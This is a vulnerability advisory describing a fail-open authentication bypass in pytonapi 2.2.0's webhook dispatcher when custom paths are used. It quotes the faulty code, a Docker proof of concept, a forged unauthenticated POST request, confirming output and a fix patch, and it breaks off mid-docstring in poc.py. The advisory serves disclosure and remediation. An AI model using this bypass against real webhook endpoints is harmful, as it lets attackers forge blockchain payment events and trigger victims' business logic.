CVE-2026-54635

Webhook Custom Path Authentication Bypass in pytonapi

Summary

TonapiWebhookDispatcher in pytonapi 2.2.0 fails to validate the Authorization header when a webhook handler is registered with the documented path= argument. During setup(), bearer tokens are stored only under the default suffix paths (e.g., /hook/account-tx), but the custom path (e.g., /hook/custom) is never added to the token map. When an incoming request arrives at the custom path, self._tokens.get(path) returns None, causing the if expected_token is not None guard to evaluate to False and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.

Details

The vulnerability is a fail-open authentication check in pytonapi/webhook/dispatcher.py.

Token registration (setup) stores tokens only under default suffix paths:

# dispatcher.py lines 109-112
suffix = self.DEFAULT_SUFFIXES[event_type]
local_path = self._path + suffix          # e.g., "/hook/account-tx"
webhook = await self._client.ensure(f"{self._url}{suffix}")
self._tokens[local_path] = webhook.token  # custom path is NEVER stored here

Handler registration preserves the custom path in the handler tuple:

# dispatcher.py lines 339, 342
resolved_path = path or self._resolve_path(event_type)  # -> "/hook/custom"
self._handlers[event_type].append((account_filter, fn, resolved_path))

Path routing (_build_path_map) correctly maps the custom path to the event type:

# dispatcher.py line 182
return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
# -> {"/hook/custom": WebhookEventType.ACCOUNT_TX}

Authentication check (fail-open):

# dispatcher.py lines 286-288
expected_token = self._tokens.get(path)        # "/hook/custom" -> None
if expected_token is not None and authorization != f"Bearer {expected_token}":
    raise TONAPIError("Invalid webhook token")  # SKIPPED because expected_token is None

Because expected_token is None for any custom path, the condition expected_token is not None is always False. The raise is never reached regardless of what the Authorization header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.

The path= argument is an officially documented feature (see docs/webhooks/guide.mdx lines 140 and 153), meaning any user following the public documentation is vulnerable.

PoC

Requirements: Python 3.12, pytonapi 2.2.0 installed from source (commit e46c4a4).

Build and run with Docker:

# From the repository root
docker build -t vuln001-pytonapi -f vuln-001/Dockerfile .
docker run --rm vuln001-pytonapi

The Dockerfile installs pytonapi from the local source tree and executes poc.py.

What the PoC does:

1. Creates a TonapiWebhookDispatcher with a custom-path handler (path="/hook/custom").
2. Calls setup() — tokens are registered only for /hook/account-tx.
3. Case A — calls process("/hook/custom", forged_payload, authorization=None): no Authorization header, handler fires.
4. Case B — calls process("/hook/custom", forged_payload, authorization="Bearer totally-wrong-token"): wrong token, handler still fires.
5. Case C (control) — same attack against the default path /hook/account-tx with no auth: correctly raises TONAPIError.
6. Case D (control) — default path with valid token: correctly accepted.

Simulated malicious HTTP request routed to the victim dispatcher:

POST /hook/custom HTTP/1.1
Host: victim.example
Content-Type: application/json
# No Authorization header

{"event_type":"account_tx","account_id":"0:victim","lt":1,"tx_hash":"FORGED_TX_HASH"}

Expected output confirming the vulnerability:

[dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}

Case A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH']
Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH']
Case C: CORRECTLY_REJECTED — Invalid webhook token
Case D: CORRECTLY_ACCEPTED — default path with valid auth

[RESULT] VULNERABILITY CONFIRMED

Remediation (patch):

--- a/pytonapi/webhook/dispatcher.py
+++ b/pytonapi/webhook/dispatcher.py
@@
     def _build_path_map(self) -> dict[str, WebhookEventType]:
-        return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
+        return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}
@@
-            suffix = self.DEFAULT_SUFFIXES[event_type]
-            local_path = self._path + suffix
-            webhook = await self._client.ensure(f"{self._url}{suffix}")
-            self._tokens[local_path] = webhook.token
+            local_paths = sorted({path for _, _, path in handlers})
+            for local_path in local_paths:
+                endpoint = self._endpoint_for_path(local_path)
+                webhook = await self._client.ensure(endpoint)
+                self._tokens[local_path] = webhook.token
@@
+    def _endpoint_for_path(self, path: str) -> str:
+        parsed = urlparse(self._url)
+        return parsed._replace(path=path, params="", query="", fragment="").geturl()

Impact

This is an Improper Authentication vulnerability (CWE-287). Any application that:

1. Uses TonapiWebhookDispatcher from pytonapi 2.2.0, and
2. Registers at least one handler using the documented path= keyword argument,

is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:

• Forge arbitrary TON blockchain events (e.g., fake account_tx notifications).
• Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data.
• Cause financial or operational harm depending on what the victim handler does.

Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

# Copy the repository source code
COPY repo/ /app/repo/

# Install pytonapi from local source (exact commit under test)
RUN pip install --no-cache-dir /app/repo/

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

# Run the PoC by default
CMD ["python3", "/app/poc.py"]

poc.py

"""
PoC for VULN-001: Webhook custom path authentication bypass
===========================================================
CVE candidate: CWE-287 — Improper Authentication
Affected:      pytonapi 2.2.0 (commit e46c4a4)
File:          pytonapi/webhook/dispatcher.py

Root cause
----------
When a handler is registered with the documented `path=` argument:

    @dispatcher.account_tx(path="/hook/custom")
    async def on_tx(event): ...

setup() stores the bearer token ONLY for the default-suffix path:

    local_path = self._path + suffix       # -> "/hook/account-tx"
    self._tokens[local_path] = webhook.token   # line 112

The custom path "/hook/custom" is never added to _tokens.

_build_path_map() correctly routes "/hook/custom" -> ACCOUNT_TX
because it reads handlers[0][2] which IS the custom path when the
custom-path handler is the only one registered.

In process():

    expected_token = self._tokens.get(path)   # line 286 -> None (missing)
    if expected_token is not None and ...:    # line 287 -> False (SKIP)
        raise TONAPIError("Invalid webhook token")

Because expected_token is None the auth check is bypassed entirely
(fail-open). An attacker